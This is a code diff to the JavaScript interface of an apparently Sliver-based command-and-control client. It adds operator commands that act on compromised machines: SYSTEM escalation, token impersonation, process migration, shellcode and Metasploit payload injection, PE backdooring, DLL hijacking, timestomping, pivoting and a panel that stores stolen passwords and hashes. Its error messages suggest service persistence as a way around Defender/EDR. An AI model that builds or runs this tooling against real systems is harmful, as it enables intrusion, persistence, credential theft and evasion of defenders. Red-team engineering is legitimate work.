const tr = document.createElement('tr'); tr.dataset.id = o.id; tr.dataset.kind = kind;
|
||||
if (isPrivileged(o) && !o.isDead) tr.classList.add('row-priv');
|
||||
const typeCls = kind === 'session' ? 'type-session' : 'type-beacon';
|
||||
tr.innerHTML = `<td class="${typeCls}">${kind.toUpperCase()}</td><td>${esc(o.name||o.id.slice(0,8))}</td><td>${esc(o.hostname)}</td>${userCell(o)}<td>${esc(o.os)}/${esc(o.arch)}</td><td>${o.pid}</td><td>${esc(o.transport)}</td><td>${esc(o.remoteAddress)}</td><td>${esc(o.lastCheckin)}</td><td class="${o.isDead?'status-dead':'status-alive'}">${o.isDead?'DEAD':'ALIVE'}</td>`;
|
||||
tr.addEventListener('dblclick', () => openInteract(kind, o));
|
||||
tr.addEventListener('contextmenu', e => showCtx(e, kind, o));
|
||||
body.appendChild(tr);
|
||||
});
|
||||
allBeacons.forEach(b => {
|
||||
const tr = document.createElement('tr'); tr.dataset.id = b.id; tr.dataset.kind = 'beacon';
|
||||
tr.innerHTML = `<td class="type-beacon">BEACON</td><td>${esc(b.name||b.id.slice(0,8))}</td><td>${esc(b.hostname)}</td><td>${esc(b.username)}</td><td>${esc(b.os)}/${esc(b.arch)}</td><td>${b.pid}</td><td>${esc(b.transport)}</td><td>${esc(b.remoteAddress)}</td><td>${esc(b.lastCheckin)}</td><td class="${b.isDead?'status-dead':'status-alive'}">${b.isDead?'DEAD':'ALIVE'}</td>`;
|
||||
tr.addEventListener('dblclick', () => openInteract('beacon', b));
|
||||
tr.addEventListener('contextmenu', e => showCtx(e, 'beacon', b));
|
||||
body.appendChild(tr);
|
||||
});
|
||||
};
|
||||
allSessions.forEach(s => row(s, 'session'));
|
||||
allBeacons.forEach(b => row(b, 'beacon'));
|
||||
}
|
||||
|
||||
// ── View toggle ────────────────────────────────────────────────────────────
|
||||
@@ -193,10 +208,10 @@ function renderGraph() {
|
||||
|
||||
let html = `<g id="g-root" transform="translate(${graphView.tx},${graphView.ty}) scale(${graphView.scale})">`;
|
||||
|
||||
// Edges (straight; dashed for beacons)
|
||||
// Edges (straight; dashed for beacons; red for privileged agents)
|
||||
nodes.forEach(nd => {
|
||||
const p = graphPos[nd.obj.id], dead = nd.obj.isDead;
|
||||
const cls = `gedge${nd.kind==='beacon'?' beacon':''}${dead?' dead':''}`;
|
||||
const p = graphPos[nd.obj.id], dead = nd.obj.isDead, priv = isPrivileged(nd.obj);
|
||||
const cls = `gedge${nd.kind==='beacon'?' beacon':''}${priv&&!dead?' priv':''}${dead?' dead':''}`;
|
||||
html += `<path id="ge-${nd.obj.id}" d="${edgePath(cx,cy,p.x,p.y)}" class="${cls}" fill="none"/>`;
|
||||
});
|
||||
|
||||
@@ -212,10 +227,10 @@ function renderGraph() {
|
||||
html += `<g class="gnode${dead?' dead':''}" data-id="${esc(o.id)}" transform="translate(${p.x},${p.y})" style="cursor:grab">`;
|
||||
// Transparent hit area so the group receives drag/dblclick (images below are inert).
|
||||
html += `<rect x="-28" y="-32" width="56" height="86" fill="transparent"/>`;
|
||||
html += `<image href="${osIconHref(o.os, priv)}" x="-26" y="-26" width="52" height="52" pointer-events="none"/>`;
|
||||
html += `<image href="${osIconHref(o.os, priv, dead)}" x="-26" y="-26" width="52" height="52" pointer-events="none"/>`;
|
||||
html += `<text y="38" text-anchor="middle" fill="${labelColor}" font-size="10" font-weight="bold" font-family="var(--font)" pointer-events="none">${esc(o.hostname||o.id.slice(0,6))}</text>`;
|
||||
html += `<text y="50" text-anchor="middle" fill="var(--muted)" font-size="8.5" font-family="var(--mono)" pointer-events="none">${esc(shortUser(o.username))} · ${nd.kind}</text>`;
|
||||
if (priv && !dead) html += `<text y="-30" text-anchor="middle" fill="var(--accent)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">★ PRIV</text>`;
|
||||
if (priv && !dead) html += `<text y="-30" text-anchor="middle" fill="var(--accent)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">★ ${integrityLabel(o) || 'PRIV'}</text>`;
|
||||
if (dead) html += `<text y="-30" text-anchor="middle" fill="var(--muted)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">DEAD</text>`;
|
||||
html += `</g>`;
|
||||
});
|
||||
@@ -314,6 +329,20 @@ function showCtx(e, kind, obj) {
|
||||
}
|
||||
document.addEventListener('click', () => ctxMenu.classList.add('hidden'));
|
||||
document.getElementById('ctx-interact').addEventListener('click', () => { if (activeCtxAgent) openInteract(activeCtxAgent.kind, activeCtxAgent.obj); });
|
||||
document.getElementById('ctx-integrity').addEventListener('click', async () => {
|
||||
if (!activeCtxAgent) return;
|
||||
const { kind, obj } = activeCtxAgent;
|
||||
if (kind !== 'session') return toast('info', 'Integrity check needs an interactive session (for a beacon, run getprivs in its console)');
|
||||
if (!(obj.os || '').toLowerCase().includes('windows')) return toast('info', 'Integrity levels are a Windows concept');
|
||||
toast('info', `Checking integrity of ${obj.hostname}...`);
|
||||
const r = await App().GetPrivs(obj.id).catch(() => null);
|
||||
if (!r || !r.integrity) return toast('err', 'getprivs failed (needs a live Windows session)');
|
||||
integrityMap[obj.id] = r.integrity;
|
||||
const label = integrityLabel(obj) || r.integrity;
|
||||
toast(isPrivileged(obj) ? 'ok' : 'info', `${obj.hostname}: ${label} integrity`);
|
||||
renderTable();
|
||||
if (!document.getElementById('graph-view').classList.contains('hidden')) renderGraph();
|
||||
});
|
||||
document.getElementById('ctx-rename').addEventListener('click', async () => {
|
||||
if (!activeCtxAgent || activeCtxAgent.kind !== 'session') return;
|
||||
const n = prompt('New name:'); if (!n) return;
|
||||
@@ -413,22 +442,40 @@ Core commands (session & beacon):
|
||||
kill <pid> Terminate a remote process
|
||||
loot [add <file>|rm <id>] Save a target file to the shared loot store / list
|
||||
|
||||
chmod <path> <mode> Change file mode (e.g. 0755)
|
||||
chown <path> <uid> <gid> Change file owner
|
||||
|
||||
Privilege / execution (session only):
|
||||
getsystem <profile> [proc] Escalate to SYSTEM via an implant profile
|
||||
make-token <dom> <u> <p> Create a token from credentials
|
||||
impersonate <user> Impersonate a logged-on user
|
||||
rev2self Drop an impersonated token
|
||||
execute-assembly <args> Run a .NET assembly (native open dialog)
|
||||
sideload <args> Sideload a DLL/.so (native open dialog)
|
||||
runas -u <u> [-p <p>] <prog> [args] Run a program as another user
|
||||
migrate <pid> <profile> Migrate the implant into another process
|
||||
execute-assembly <local.exe> [args] Run a .NET assembly (path or dialog)
|
||||
execute-shellcode <local.bin> [pid] Inject shellcode (path or dialog)
|
||||
sideload <local.dll> [args] Sideload a DLL/.so (path or dialog)
|
||||
spawndll <local.dll> [args] Reflectively load a DLL (path or dialog)
|
||||
extensions List installed + loaded extensions/BOFs
|
||||
ext <command> [args...] Run an extension/BOF (e.g. ext sa-whoami)
|
||||
backdoor <remote_pe> <profile> Backdoor an on-disk PE with an implant
|
||||
dllhijack <ref_dll> <target> <profile> Plant a hijacking DLL
|
||||
msf <payload> <lhost> <lport> Run a Metasploit payload in-process
|
||||
msf-inject <payload> <lhost> <lport> <pid> Inject an msf payload into a PID
|
||||
|
||||
Pivoting / tunneling (session only):
|
||||
socks start <port>|stop|status
|
||||
portfwd add <lport> <rhost> <rport> | rm <lport> | list
|
||||
rportfwd add <bindport> <fwdhost> <fwdport> | rm <id> | list
|
||||
wg-portfwd add <lport> <rhost:port> | rm <id> (WireGuard implants)
|
||||
wg-socks <port> | stop <id> (WireGuard implants)
|
||||
pivot start tcp|pipe <bind> | stop <id> | list
|
||||
services List Windows services
|
||||
|
||||
Beacon only:
|
||||
tasks Show the beacon task queue
|
||||
reconfig <interval> <jitter> Change the beacon check-in interval (seconds)
|
||||
interactive Open an interactive session from this beacon
|
||||
(all commands are queued and run on next check-in)
|
||||
`.trim();
|
||||
|
||||
@@ -469,6 +516,15 @@ async function dispatchCmd(kind, id, raw) {
|
||||
|
||||
// ── beacons: queue command, then poll for the result (non-blocking) ──
|
||||
if (kind === 'beacon') {
|
||||
if (cmd === 'reconfig') {
|
||||
if (args.length < 2) return appendOut(id, 'usage: reconfig <interval_sec> <jitter_sec>', 'err');
|
||||
await App().ReconfigureBeacon(id, parseInt(args[0]), parseInt(args[1]));
|
||||
return appendOut(id, `[+] reconfigure queued — interval ${args[0]}s / jitter ${args[1]}s (applies on next check-in)`, 'ok');
|
||||
}
|
||||
if (cmd === 'interactive') {
|
||||
await App().InteractiveBeacon(id);
|
||||
return appendOut(id, '[+] interactive session requested — it will appear as a session on next check-in', 'ok');
|
||||
}
|
||||
const shellCmd = cmd === 'shell' ? args.join(' ') : raw;
|
||||
const r = await App().ExecuteBeaconCommandAsync(id, shellCmd).catch(e => ({ error: String(e) }));
|
||||
if (r.error) return appendOut(id, `[error] ${r.error}`, 'err');
|
||||
@@ -556,11 +612,11 @@ async function dispatchCmd(kind, id, raw) {
|
||||
const err = await App().GetSystem(id, args[1] || '', args[0]).then(() => null).catch(e => String(e));
|
||||
if (err) {
|
||||
if (err.includes('main.go') || err.includes('parse') || err.includes('IDENT')) {
|
||||
return appendOut(id, `[error] profile "${args[0]}" has an old/incomplete config that won't build. Open the Profiles panel, DELETE it, and CREATE it again (the new save writes a complete config), then retry getsystem.`, 'err');
|
||||
return appendOut(id, `[error] the teamserver failed to generate the shellcode implant for getsystem (server-side codegen error, not the GUI). This is a known Sliver server issue with shellcode/inject generation. Workaround: use the service-persistence method (sc create + a generated exe) to get SYSTEM, which you've already done successfully.`, 'err');
|
||||
}
|
||||
return appendOut(id, `[error] ${err}`, 'err');
|
||||
}
|
||||
return appendOut(id, '[+] getsystem requested (a new SYSTEM implant is being built + injected)', 'out');
|
||||
return appendOut(id, '[*] getsystem accepted by the teamserver. It builds a NEW shellcode implant and injects it — watch the sessions list for a SYSTEM node in ~1-2 min.\n If nothing appears, the server-side shellcode build or the injection was blocked (Defender/EDR). Reliable alternative: create a service that runs a generated implant (sc create ... + start) — that returns a SYSTEM session directly.', 'info');
|
||||
}
|
||||
case 'make-token': {
|
||||
if (args.length < 3) return appendOut(id, 'usage: make-token <domain> <username> <password>', 'err');
|
||||
@@ -574,13 +630,17 @@ async function dispatchCmd(kind, id, raw) {
|
||||
}
|
||||
case 'rev2self': { await App().RevToSelf(id); return appendOut(id, '[+] reverted to self', 'out'); }
|
||||
case 'execute-assembly': {
|
||||
appendOut(id, '[*] select assembly...', 'pending');
|
||||
const r = await App().ExecuteAssembly(id, args.join(' '));
|
||||
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output || '[+] done'), r.error?'err':'out');
|
||||
// execute-assembly <local-path> [assembly args] (no path = file dialog)
|
||||
appendOut(id, args.length ? `[*] running ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
|
||||
const r = await App().ExecuteAssembly(id, args[0] || '', args.slice(1).join(' '));
|
||||
if (r.error) return appendOut(id, `[error] ${r.error}`, 'err');
|
||||
if (r.output && r.output.trim()) return appendOut(id, r.output.trimEnd(), 'out');
|
||||
return appendOut(id, '[+] executed, but NO output was captured.\n execute-assembly runs .NET/CLR assemblies ONLY. If this is a native binary\n (e.g. mimikatz.exe), use: upload it then `execute`, or `sideload` the mimikatz DLL.', 'info');
|
||||
}
|
||||
case 'sideload': {
|
||||
appendOut(id, '[*] select DLL/.so...', 'pending');
|
||||
const r = await App().Sideload(id, args.join(' '), '');
|
||||
// sideload <local-path> [args] (no path = file dialog)
|
||||
appendOut(id, args.length ? `[*] sideloading ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
|
||||
const r = await App().Sideload(id, args[0] || '', args.slice(1).join(' '), '');
|
||||
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output || '[+] done'), r.error?'err':'out');
|
||||
}
|
||||
case 'socks': {
|
||||
@@ -692,6 +752,54 @@ async function dispatchCmd(kind, id, raw) {
|
||||
const r = await App().ProcessDump(id, parseInt(args[0]));
|
||||
return appendOut(id, r.error ? `[error] ${r.error}` : `[+] dumped ${fmtSize(r.bytes)} -> ${r.path}`, r.error?'err':'out');
|
||||
}
|
||||
case 'extensions': case 'ext-list': {
|
||||
const installed = await App().ListInstalledExtensions().catch(() => []);
|
||||
const loaded = await App().ListImplantExtensions(id).catch(() => []);
|
||||
let out = 'INSTALLED COMMANDS (run with: ext <command> [args...])\n';
|
||||
if (!installed.length) out += ' (none installed — use the Sliver CLI: armory install <name>)\n';
|
||||
installed.forEach(e => out += ` ${(e.command||'').padEnd(20)}${e.isBof?'[BOF] ':' '}${e.args||''}${e.help?(' — '+e.help):''}\n`);
|
||||
out += `\nLOADED IN THIS IMPLANT: ${loaded && loaded.length ? loaded.join(', ') : '(none yet)'}`;
|
||||
return appendOut(id, out, 'out');
|
||||
}
|
||||
case 'ext': {
|
||||
if (!args[0]) return appendOut(id, 'usage: ext <command> [args...] (list them with: extensions)', 'err');
|
||||
appendOut(id, `[*] running extension '${args[0]}'...`, 'pending');
|
||||
const r = await App().RunExtension(id, args[0], args.slice(1)).then(o => ({ o })).catch(e => ({ err: String(e) }));
|
||||
if (r.err) return appendOut(id, `[error] ${r.err}`, 'err');
|
||||
return appendOut(id, (r.o && r.o.trim()) ? r.o.trimEnd() : '[+] executed (no output)', 'out');
|
||||
}
|
||||
case 'backdoor': {
|
||||
if (args.length < 2) return appendOut(id, 'usage: backdoor <remote_pe_path> <profile>', 'err');
|
||||
const err = await App().Backdoor(id, args[0], args[1]).then(()=>null).catch(e=>String(e));
|
||||
return appendOut(id, err ? `[error] ${err}` : `[+] backdoored ${args[0]} with profile ${args[1]}`, err?'err':'out');
|
||||
}
|
||||
case 'dllhijack': {
|
||||
if (args.length < 3) return appendOut(id, 'usage: dllhijack <reference_dll> <target_location> <profile>', 'err');
|
||||
const err = await App().DllHijack(id, args[0], args[1], args[2]).then(()=>null).catch(e=>String(e));
|
||||
return appendOut(id, err ? `[error] ${err}` : `[+] DLL hijack planted at ${args[1]}`, err?'err':'out');
|
||||
}
|
||||
case 'msf': {
|
||||
if (args.length < 3) return appendOut(id, 'usage: msf <payload> <lhost> <lport> (e.g. windows/x64/meterpreter/reverse_tcp)', 'err');
|
||||
const err = await App().MsfInject(id, args[0], args[1], parseInt(args[2])).then(()=>null).catch(e=>String(e));
|
||||
return appendOut(id, err ? `[error] ${err}` : '[+] msf payload staged into the implant process', err?'err':'out');
|
||||
}
|
||||
case 'msf-inject': {
|
||||
if (args.length < 4) return appendOut(id, 'usage: msf-inject <payload> <lhost> <lport> <pid>', 'err');
|
||||
const err = await App().MsfRemoteInject(id, args[0], args[1], parseInt(args[2]), parseInt(args[3])).then(()=>null).catch(e=>String(e));
|
||||
return appendOut(id, err ? `[error] ${err}` : `[+] msf payload injected into PID ${args[3]}`, err?'err':'out');
|
||||
}
|
||||
case 'wg-portfwd': {
|
||||
const sub = (args[0]||'').toLowerCase();
|
||||
if (sub === 'add') { await App().WGStartPortForward(id, parseInt(args[1]), args[2]); return appendOut(id, `[+] WG forward 127.0.0.1:${args[1]} -> ${args[2]}`, 'out'); }
|
||||
if (sub === 'rm') { await App().WGStopPortForward(id, parseInt(args[1])); return appendOut(id, `[+] WG forward ${args[1]} stopped`, 'out'); }
|
||||
return appendOut(id, 'usage: wg-portfwd add <lport> <remoteHost:port> | rm <id>', 'err');
|
||||
}
|
||||
case 'wg-socks': {
|
||||
const sub = (args[0]||'').toLowerCase();
|
||||
if (sub === 'stop') { await App().WGStopSocks(id, parseInt(args[1])); return appendOut(id, `[+] WG socks ${args[1]} stopped`, 'out'); }
|
||||
await App().WGStartSocks(id, parseInt(args[0])||1081);
|
||||
return appendOut(id, `[+] WG SOCKS proxy on 127.0.0.1:${parseInt(args[0])||1081}`, 'out');
|
||||
}
|
||||
case 'loot': {
|
||||
const sub = (args[0]||'').toLowerCase();
|
||||
if (sub === 'add') {
|
||||
@@ -707,6 +815,52 @@ async function dispatchCmd(kind, id, raw) {
|
||||
loot.forEach(l => { out += `${(l.id||'').slice(0,12).padEnd(14)}${(l.type||'').padEnd(12)}${l.name||''}\n`; });
|
||||
return appendOut(id, out.trimEnd(), 'out');
|
||||
}
|
||||
case 'runas': {
|
||||
let user='', pass='', dom='', rest=[];
|
||||
for (let i=0;i<args.length;i++){ if(args[i]==='-u')user=args[++i]||''; else if(args[i]==='-p')pass=args[++i]||''; else if(args[i]==='-d')dom=args[++i]||''; else rest.push(args[i]); }
|
||||
if(!user || !rest.length) return appendOut(id, 'usage: runas -u [DOMAIN\\]<user> [-p <pass>] <program> [args]', 'err');
|
||||
// Split DOMAIN\user (or user@domain) into separate domain + username.
|
||||
if (user.includes('\\')) { const p = user.split('\\'); dom = dom || p[0]; user = p[1]; }
|
||||
else if (user.includes('@')) { const p = user.split('@'); user = p[0]; dom = dom || p[1]; }
|
||||
if (!dom) dom = '.'; // local account
|
||||
const outp = await App().RunAs(id, user, dom, pass, rest[0], rest.slice(1).join(' '));
|
||||
return appendOut(id, outp || '[+] done', 'out');
|
||||
}
|
||||
case 'migrate': {
|
||||
if (args.length < 2) return appendOut(id, 'usage: migrate <pid> <profile> (profile = a saved implant profile)', 'err');
|
||||
const err = await App().Migrate(id, parseInt(args[0]), args[1]).then(()=>null).catch(e=>String(e));
|
||||
return appendOut(id, err ? `[error] ${err}` : `[+] migration into PID ${args[0]} requested`, err?'err':'out');
|
||||
}
|
||||
case 'execute-shellcode': {
|
||||
// execute-shellcode <local-path> [pid] (no path = file dialog)
|
||||
appendOut(id, args.length ? `[*] injecting ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
|
||||
const r = await App().ExecuteShellcode(id, args[0] || '', parseInt(args[1])||0);
|
||||
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output||'[+] done'), r.error?'err':'out');
|
||||
}
|
||||
case 'spawndll': {
|
||||
// spawndll <local-path> [args] (no path = file dialog)
|
||||
appendOut(id, args.length ? `[*] spawning ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
|
||||
const r = await App().SpawnDll(id, args[0] || '', args.slice(1).join(' '), '');
|
||||
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output||'[+] done'), r.error?'err':'out');
|
||||
}
|
||||
case 'chmod': { if (args.length < 2) return appendOut(id, 'usage: chmod <path> <mode> (e.g. 0755)', 'err'); await App().Chmod(id, args[0], args[1]); return appendOut(id, `[+] chmod ${args[1]} ${args[0]}`, 'out'); }
|
||||
case 'chown': { if (args.length < 3) return appendOut(id, 'usage: chown <path> <uid> <gid>', 'err'); await App().Chown(id, args[0], args[1], args[2]); return appendOut(id, `[+] chown ${args[1]}:${args[2]} ${args[0]}`, 'out'); }
|
||||
case 'chtimes': case 'timestomp': {
|
||||
if (args.length < 2) return appendOut(id, 'usage: chtimes <path> <YYYY-MM-DD HH:MM:SS>', 'err');
|
||||
const ts = Math.floor(new Date(args.slice(1).join(' ')).getTime()/1000);
|
||||
if (isNaN(ts)) return appendOut(id, 'invalid date — use e.g. 2021-01-01 09:00:00', 'err');
|
||||
await App().Chtimes(id, args[0], ts, ts);
|
||||
return appendOut(id, `[+] timestomped ${args[0]} -> ${args.slice(1).join(' ')}`, 'out');
|
||||
}
|
||||
case 'rportfwd': {
|
||||
const sub = (args[0]||'').toLowerCase();
|
||||
if (sub === 'add') { await App().StartRportFwd(id, '0.0.0.0', parseInt(args[1]), args[2], parseInt(args[3])); return appendOut(id, `[+] reverse forward: target :${args[1]} -> ${args[2]}:${args[3]}`, 'out'); }
|
||||
if (sub === 'rm') { await App().StopRportFwd(id, parseInt(args[1])); return appendOut(id, `[+] removed reverse forward ${args[1]}`, 'out'); }
|
||||
const fwds = await App().ListRportFwds(id);
|
||||
return appendOut(id, fwds.length ? fwds.map(f => `#${f.id} ${f.bind} -> ${f.forward}`).join('\n') : '[*] no reverse port forwards', 'info');
|
||||
}
|
||||
case 'getpid': return appendOut(id, String(tab.obj.pid), 'out');
|
||||
case 'getuid': case 'getgid': return dispatchCmd(kind, id, 'whoami');
|
||||
default: {
|
||||
// Server/panel commands are not session commands — guide instead of
|
||||
// silently running them in cmd.exe.
|
||||
@@ -790,6 +944,8 @@ document.querySelectorAll('.tb-btn').forEach(btn => {
|
||||
if (view === 'profiles') openProfilesPanel();
|
||||
if (view === 'events') openEventsPanel();
|
||||
if (view === 'loot') openLootPanel();
|
||||
if (view === 'creds') openCredsPanel();
|
||||
if (view === 'hosts') openHostsPanel();
|
||||
if (view === 'operators') openOperatorsPanel();
|
||||
});
|
||||
});
|
||||
@@ -836,13 +992,24 @@ const SERVER_HELP = `Server console — runs teamserver commands (NOT on a targe
|
||||
jobs kill <id> kill a listener/job
|
||||
operators | players list operators
|
||||
loot [rm <id>] list / remove loot
|
||||
hosts [rm <id>] list / remove hosts DB entries
|
||||
creds [add <u> <p> | rm <id>] list / add / remove credentials
|
||||
builds list implant builds
|
||||
regenerate <name> re-download a previous build
|
||||
profiles list implant profiles
|
||||
websites [rm <name>] list / remove hosted websites
|
||||
canaries list DNS canaries (tripwires)
|
||||
stager <host> <port> <profile> start a TCP stager listener
|
||||
use <id-prefix> interact with a session/beacon
|
||||
c2profiles list HTTP C2 profiles
|
||||
rename <id> <name> rename a session
|
||||
kill-session <id> kill a session
|
||||
kill-beacon <id> remove a beacon
|
||||
mtls [port] start an mTLS listener (default 8443)
|
||||
http [port] start an HTTP listener (default 80)
|
||||
https [port] start an HTTPS listener (default 443)
|
||||
dns <domain...> start a DNS listener
|
||||
wg [port] [nport] [key] start a WireGuard listener
|
||||
clear clear this console`;
|
||||
|
||||
function pinServerConsole() {
|
||||
@@ -921,6 +1088,44 @@ async function runServerCmd(raw) {
|
||||
case 'http': { await App().StartHTTPListener({host:'0.0.0.0',port:parseInt(args[0])||80,secure:false}); return appendServer(`[+] HTTP listener started on :${parseInt(args[0])||80}`, 'out'); }
|
||||
case 'https': { await App().StartHTTPListener({host:'0.0.0.0',port:parseInt(args[0])||443,secure:true}); return appendServer(`[+] HTTPS listener started on :${parseInt(args[0])||443}`, 'out'); }
|
||||
case 'dns': { if (!args.length) return appendServer('usage: dns <domain...>', 'err'); await App().StartDNSListener({domains:args}); return appendServer(`[+] DNS listener for ${args.join(', ')}`, 'out'); }
|
||||
case 'wg': case 'wireguard': { await App().StartWGListener({port:parseInt(args[0])||53,nPort:parseInt(args[1])||8888,keyPort:parseInt(args[2])||1337}); return appendServer(`[+] WireGuard listener started`, 'out'); }
|
||||
case 'kill-session': case 'rm-session': { if (!args[0]) return appendServer('usage: kill-session <id-prefix>', 'err'); const s = allSessions.find(x => x.id.startsWith(args[0])); if (!s) return appendServer('no matching session', 'err'); await App().KillSession(s.id); return appendServer(`[+] killed session ${s.hostname}`, 'out'); }
|
||||
case 'kill-beacon': case 'rm-beacon': { if (!args[0]) return appendServer('usage: kill-beacon <id-prefix>', 'err'); const b = allBeacons.find(x => x.id.startsWith(args[0])); if (!b) return appendServer('no matching beacon', 'err'); await App().KillBeacon(b.id); return appendServer(`[+] removed beacon ${b.hostname}`, 'out'); }
|
||||
case 'rename': { if (args.length < 2) return appendServer('usage: rename <session-id-prefix> <new-name>', 'err'); const s = allSessions.find(x => x.id.startsWith(args[0])); if (!s) return appendServer('no matching session', 'err'); await App().RenameSession(s.id, args.slice(1).join(' ')); refreshAgents(); return appendServer('[+] renamed', 'out'); }
|
||||
case 'c2profiles': { const p = await App().ListC2Profiles(); if (!p.length) return appendServer('no HTTP C2 profiles', 'info'); return appendServer(p.map(x => x.name).join('\n'), 'out'); }
|
||||
case 'hosts': {
|
||||
if (args[0] === 'rm') { await App().DeleteHost(args[1]); return appendServer(`[+] host ${args[1]} removed`, 'out'); }
|
||||
const h = await App().ListHosts(); if (!h.length) return appendServer('no hosts in the database', 'info');
|
||||
let o = 'HOSTNAME OS UUID\n';
|
||||
h.forEach(x => o += `${(x.hostname||'').slice(0,20).padEnd(21)}${(x.os||'').slice(0,30).padEnd(31)}${(x.uuid||'').slice(0,12)}\n`);
|
||||
return appendServer(o.trimEnd(), 'out');
|
||||
}
|
||||
case 'creds': {
|
||||
if (args[0] === 'add') { if (args.length < 3) return appendServer('usage: creds add <username> <password>', 'err'); await App().AddCred(args[1], args[2], ''); return appendServer('[+] credential added', 'out'); }
|
||||
if (args[0] === 'rm') { await App().DeleteCred(args[1]); return appendServer(`[+] credential ${args[1]} removed`, 'out'); }
|
||||
const c = await App().ListCreds(); if (!c.length) return appendServer('no credentials stored', 'info');
|
||||
let o = 'USERNAME PLAINTEXT / HASH\n';
|
||||
c.forEach(x => o += `${(x.username||'').slice(0,20).padEnd(21)}${x.plaintext || x.hash || ''}\n`);
|
||||
return appendServer(o.trimEnd(), 'out');
|
||||
}
|
||||
case 'regenerate': { if (!args[0]) return appendServer('usage: regenerate <build-name>', 'err'); const r = await App().RegenerateBuild(args[0]); return appendServer(r.error ? `[error] ${r.error}` : `[+] saved ${r.path} (${fmtSize(r.bytes)})`, r.error?'err':'out'); }
|
||||
case 'websites': {
|
||||
if (args[0] === 'rm') { await App().RemoveWebsite(args[1]); return appendServer(`[+] website ${args[1]} removed`, 'out'); }
|
||||
const w = await App().ListWebsites(); if (!w.length) return appendServer('no websites', 'info');
|
||||
return appendServer(w.map(x => `${(x.name||'').padEnd(20)} ${x.paths} path(s)`).join('\n'), 'out');
|
||||
}
|
||||
case 'canaries': {
|
||||
const c = await App().ListCanaries(); if (!c.length) return appendServer('no canaries', 'info');
|
||||
let o = 'DOMAIN IMPLANT TRIGGERED COUNT\n';
|
||||
c.forEach(x => o += `${(x.domain||'').slice(0,30).padEnd(31)}${(x.implantName||'').slice(0,20).padEnd(21)}${(x.triggered?'YES':'no').padEnd(11)}${x.count}\n`);
|
||||
return appendServer(o.trimEnd(), 'out');
|
||||
}
|
||||
case 'stager': {
|
||||
if (args.length < 3) return appendServer('usage: stager <host> <port> <profile>', 'err');
|
||||
const jid = await App().StartStagerListener(args[0], parseInt(args[1]), args[2]).catch(e => { appendServer(`[error] ${e}`, 'err'); return null; });
|
||||
if (jid !== null) return appendServer(`[+] TCP stager listener started on ${args[0]}:${args[1]} (job ${jid})`, 'out');
|
||||
return;
|
||||
}
|
||||
default: appendServer(`unknown server command: ${cmd} (type 'help')`, 'err');
|
||||
}
|
||||
} catch (e) { appendServer('[error] ' + e, 'err'); }
|
||||
@@ -971,6 +1176,49 @@ async function lootDownload(lootID) {
|
||||
toast(r.error ? 'err' : 'ok', r.error ? `Loot download failed: ${r.error}` : `Saved to ${r.path}`);
|
||||
}
|
||||
|
||||
// ── Creds panel ─────────────────────────────────────────────────────────────
|
||||
function openCredsPanel() {
|
||||
const content = `<div class="panel" style="margin-bottom:12px"><h3>Add Credential</h3>
|
||||
<form id="cred-form">
|
||||
<div class="gen-row">
|
||||
<div class="gen-field"><label>Username</label><input name="username" placeholder="user"/></div>
|
||||
<div class="gen-field"><label>Password / Plaintext</label><input name="plaintext" placeholder="P@ss"/></div>
|
||||
<div class="gen-field"><label>Hash (optional)</label><input name="hash" placeholder="NTLM/hash"/></div>
|
||||
</div>
|
||||
<div class="gen-row"><button type="submit" class="btn accent" style="margin-left:auto">Add</button></div>
|
||||
<div id="cred-msg" class="status-msg"></div>
|
||||
</form></div>
|
||||
<div style="overflow:auto;flex:1" id="creds-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`;
|
||||
openViewPanel('_creds', 'Credentials', content);
|
||||
const f = document.getElementById('cred-form');
|
||||
f.addEventListener('submit', async e => {
|
||||
e.preventDefault();
|
||||
const msg = document.getElementById('cred-msg'); msg.textContent = 'Saving...'; msg.className = 'status-msg';
|
||||
const err = await App().AddCred(f.username.value, f.plaintext.value, f.hash.value).then(()=>null).catch(e=>String(e));
|
||||
if (err) { msg.textContent = err; msg.className = 'status-msg err'; }
|
||||
else { msg.textContent = 'Added'; msg.className = 'status-msg ok'; f.reset(); refreshCredsList(); }
|
||||
});
|
||||
refreshCredsList();
|
||||
}
|
||||
async function refreshCredsList() {
|
||||
const el = document.getElementById('creds-list'); if (!el) return;
|
||||
const creds = await App().ListCreds().catch(() => []);
|
||||
if (!creds.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No credentials stored.</div>'; return; }
|
||||
el.innerHTML = creds.map(c => `<div style="padding:5px 10px;font-size:12.5px;display:flex;gap:12px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1;color:var(--info)">${esc(c.username)}</span><span style="flex:1;font-family:var(--mono)">${esc(c.plaintext||c.hash||'')}</span>${c.cracked?'<span style="color:var(--ok)">cracked</span>':''}<button class="btn small danger" onclick="App().DeleteCred('${esc(c.id)}').then(refreshCredsList)">Del</button></div>`).join('');
|
||||
}
|
||||
|
||||
// ── Hosts panel ─────────────────────────────────────────────────────────────
|
||||
function openHostsPanel() {
|
||||
openViewPanel('_hosts', 'Hosts', `<div style="overflow:auto;flex:1" id="hosts-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`);
|
||||
refreshHostsList();
|
||||
}
|
||||
async function refreshHostsList() {
|
||||
const el = document.getElementById('hosts-list'); if (!el) return;
|
||||
const hosts = await App().ListHosts().catch(() => []);
|
||||
if (!hosts.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No hosts in the database.</div>'; return; }
|
||||
el.innerHTML = hosts.map(h => `<div style="padding:5px 10px;font-size:12.5px;display:flex;gap:12px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1;color:var(--info)">${esc(h.hostname)}</span><span style="flex:1;color:var(--muted)">${esc(h.os)}</span><span style="color:var(--muted);font-family:var(--mono)">${esc((h.uuid||'').slice(0,8))}</span><span style="color:var(--muted)">${esc(h.firstSeen)}</span><button class="btn small danger" onclick="App().DeleteHost('${esc(h.id)}').then(refreshHostsList)">Del</button></div>`).join('');
|
||||
}
|
||||
|
||||
function openBuildsPanel() {
|
||||
